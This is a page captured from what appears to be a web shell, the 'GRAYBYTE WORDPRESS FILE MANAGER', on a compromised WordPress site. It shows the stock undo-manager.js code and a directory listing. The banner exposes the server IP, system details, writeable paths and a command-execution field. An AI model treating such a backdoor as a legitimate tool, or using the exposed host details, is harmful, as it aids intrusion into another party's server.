GRAYBYTE WORDPRESS FILE MANAGER3061

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/ai.internsifyafrica.com/wp-includes/js/dist/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/ai.internsifyafrica.com/wp-includes/js/dist//undo-manager.js
/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ 923:
/***/ ((module) => {

module.exports = window["wp"]["isShallowEqual"];

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   createUndoManager: () => (/* binding */ createUndoManager)
/* harmony export */ });
/* harmony import */ var _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(923);
/* harmony import */ var _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0__);
/**
 * WordPress dependencies
 */


/** @typedef {import('./types').HistoryRecord}  HistoryRecord */
/** @typedef {import('./types').HistoryChange}  HistoryChange */
/** @typedef {import('./types').HistoryChanges} HistoryChanges */
/** @typedef {import('./types').UndoManager} UndoManager */

/**
 * Merge changes for a single item into a record of changes.
 *
 * @param {Record< string, HistoryChange >} changes1 Previous changes
 * @param {Record< string, HistoryChange >} changes2 NextChanges
 *
 * @return {Record< string, HistoryChange >} Merged changes
 */
function mergeHistoryChanges(changes1, changes2) {
  /**
   * @type {Record< string, HistoryChange >}
   */
  const newChanges = {
    ...changes1
  };
  Object.entries(changes2).forEach(([key, value]) => {
    if (newChanges[key]) {
      newChanges[key] = {
        ...newChanges[key],
        to: value.to
      };
    } else {
      newChanges[key] = value;
    }
  });
  return newChanges;
}

/**
 * Adds history changes for a single item into a record of changes.
 *
 * @param {HistoryRecord}  record  The record to merge into.
 * @param {HistoryChanges} changes The changes to merge.
 */
const addHistoryChangesIntoRecord = (record, changes) => {
  const existingChangesIndex = record?.findIndex(({
    id: recordIdentifier
  }) => {
    return typeof recordIdentifier === 'string' ? recordIdentifier === changes.id : _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default()(recordIdentifier, changes.id);
  });
  const nextRecord = [...record];
  if (existingChangesIndex !== -1) {
    // If the edit is already in the stack leave the initial "from" value.
    nextRecord[existingChangesIndex] = {
      id: changes.id,
      changes: mergeHistoryChanges(nextRecord[existingChangesIndex].changes, changes.changes)
    };
  } else {
    nextRecord.push(changes);
  }
  return nextRecord;
};

/**
 * Creates an undo manager.
 *
 * @return {UndoManager} Undo manager.
 */
function createUndoManager() {
  /**
   * @type {HistoryRecord[]}
   */
  let history = [];
  /**
   * @type {HistoryRecord}
   */
  let stagedRecord = [];
  /**
   * @type {number}
   */
  let offset = 0;
  const dropPendingRedos = () => {
    history = history.slice(0, offset || undefined);
    offset = 0;
  };
  const appendStagedRecordToLatestHistoryRecord = () => {
    var _history$index;
    const index = history.length === 0 ? 0 : history.length - 1;
    let latestRecord = (_history$index = history[index]) !== null && _history$index !== void 0 ? _history$index : [];
    stagedRecord.forEach(changes => {
      latestRecord = addHistoryChangesIntoRecord(latestRecord, changes);
    });
    stagedRecord = [];
    history[index] = latestRecord;
  };

  /**
   * Checks whether a record is empty.
   * A record is considered empty if it the changes keep the same values.
   * Also updates to function values are ignored.
   *
   * @param {HistoryRecord} record
   * @return {boolean} Whether the record is empty.
   */
  const isRecordEmpty = record => {
    const filteredRecord = record.filter(({
      changes
    }) => {
      return Object.values(changes).some(({
        from,
        to
      }) => typeof from !== 'function' && typeof to !== 'function' && !_wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default()(from, to));
    });
    return !filteredRecord.length;
  };
  return {
    /**
     * Record changes into the history.
     *
     * @param {HistoryRecord=} record   A record of changes to record.
     * @param {boolean}        isStaged Whether to immediately create an undo point or not.
     */
    addRecord(record, isStaged = false) {
      const isEmpty = !record || isRecordEmpty(record);
      if (isStaged) {
        if (isEmpty) {
          return;
        }
        record.forEach(changes => {
          stagedRecord = addHistoryChangesIntoRecord(stagedRecord, changes);
        });
      } else {
        dropPendingRedos();
        if (stagedRecord.length) {
          appendStagedRecordToLatestHistoryRecord();
        }
        if (isEmpty) {
          return;
        }
        history.push(record);
      }
    },
    undo() {
      if (stagedRecord.length) {
        dropPendingRedos();
        appendStagedRecordToLatestHistoryRecord();
      }
      const undoRecord = history[history.length - 1 + offset];
      if (!undoRecord) {
        return;
      }
      offset -= 1;
      return undoRecord;
    },
    redo() {
      const redoRecord = history[history.length + offset];
      if (!redoRecord) {
        return;
      }
      offset += 1;
      return redoRecord;
    },
    hasUndo() {
      return !!history[history.length - 1 + offset];
    },
    hasRedo() {
      return !!history[history.length + offset];
    }
  };
}

})();

(window.wp = window.wp || {}).undoManager = __webpack_exports__;
/******/ })()
;

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
development
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
vendor
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
.htaccess
0.124 KB
July 11 2025 00:52:32
inteuuod / inteuuod
0444
a11y.js
8.36 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
a11y.min.js
2.303 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
annotations.js
30.441 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
annotations.min.js
6.349 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
api-fetch.js
22.822 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
api-fetch.min.js
5.367 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
autop.js
15.825 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
autop.min.js
5.482 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
blob.js
4.683 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
blob.min.js
1.082 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
block-directory.js
76.567 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
block-directory.min.js
20.535 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
block-editor.js
2.24 MB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
block-editor.min.js
773.492 KB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
block-library.js
1.94 MB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
block-library.min.js
821.132 KB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
block-serialization-default-parser.js
14.871 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
block-serialization-default-parser.min.js
2.344 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
blocks.js
542.945 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
blocks.min.js
166.78 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
commands.js
183.133 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
commands.min.js
46.598 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
components.js
2.28 MB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
components.min.js
695.055 KB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
compose.js
194.127 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
compose.min.js
36.162 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
core-commands.js
21.888 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
core-commands.min.js
8.092 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
core-data.js
250.498 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
core-data.min.js
59.694 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
customize-widgets.js
109.548 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
customize-widgets.min.js
39.226 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
data-controls.js
7.143 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
data-controls.min.js
1.438 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
data.js
153.769 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
data.min.js
26.263 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
date.js
798.194 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
date.min.js
765.066 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
deprecated.js
4.625 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
deprecated.min.js
0.668 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
dom-ready.js
2.406 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
dom-ready.min.js
0.446 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
dom.js
61.513 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
dom.min.js
12.194 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
edit-post.js
270.942 KB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
edit-post.min.js
90.939 KB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
edit-site.js
1.52 MB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
edit-site.min.js
620.983 KB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
edit-widgets.js
166.217 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
edit-widgets.min.js
58.195 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
editor.js
554.301 KB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
editor.min.js
198.415 KB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
element.js
65.643 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
element.min.js
11.697 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
escape-html.js
6.065 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
escape-html.min.js
0.977 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
format-library.js
64.979 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
format-library.min.js
22.703 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
hooks.js
19.266 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
hooks.min.js
4.206 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
html-entities.js
3.556 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
html-entities.min.js
0.77 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
i18n.js
48.738 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
i18n.min.js
8.927 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
interactivity-router.asset.php
0.082 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
interactivity-router.js
10 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
interactivity-router.min.asset.php
0.082 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
interactivity-router.min.js
2.616 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
interactivity.js
78.431 KB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
interactivity.min.js
34.263 KB
May 03 2024 06:01:24
inteuuod / inteuuod
0644
is-shallow-equal.js
4.248 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
is-shallow-equal.min.js
0.994 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
keyboard-shortcuts.js
31.549 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
keyboard-shortcuts.min.js
3.88 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
keycodes.js
13.772 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
keycodes.min.js
2.58 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
list-reusable-blocks.js
29.592 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
list-reusable-blocks.min.js
4.675 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
media-utils.js
22.273 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
media-utils.min.js
7.189 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
notices.js
21.638 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
notices.min.js
2.021 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
nux.js
20.454 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
nux.min.js
4.329 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
patterns.js
46.188 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
patterns.min.js
15.488 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
plugins.js
17.44 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
plugins.min.js
4.079 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
preferences-persistence.js
29.528 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
preferences-persistence.min.js
5.446 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
preferences.js
24.159 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
preferences.min.js
6.961 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
primitives.js
9.296 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
primitives.min.js
2.178 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
priority-queue.js
13.914 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
priority-queue.min.js
3.299 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
private-apis.js
8.646 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
private-apis.min.js
2.707 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
redux-routine.js
23.425 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
redux-routine.min.js
8.691 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
reusable-blocks.js
20.094 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
reusable-blocks.min.js
6.306 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
rich-text.js
123.214 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
rich-text.min.js
30.271 KB
March 13 2024 00:00:24
inteuuod / inteuuod
0644
router.js
25.945 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
router.min.js
4.216 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
server-side-render.js
14.382 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
server-side-render.min.js
4.34 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
shortcode.js
14.917 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
shortcode.min.js
2.832 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
style-engine.js
38.204 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
style-engine.min.js
6.043 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
token-list.js
6.437 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
token-list.min.js
1.234 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
undo-manager.js
8.217 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
undo-manager.min.js
1.643 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
url.js
33.427 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
url.min.js
8.023 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
viewport.js
10.403 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
viewport.min.js
1.824 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
warning.js
2.415 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
warning.min.js
0.304 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
widgets.js
53.204 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
widgets.min.js
20.545 KB
February 16 2024 03:23:16
inteuuod / inteuuod
0644
wordcount.js
14.628 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
wordcount.min.js
2.422 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF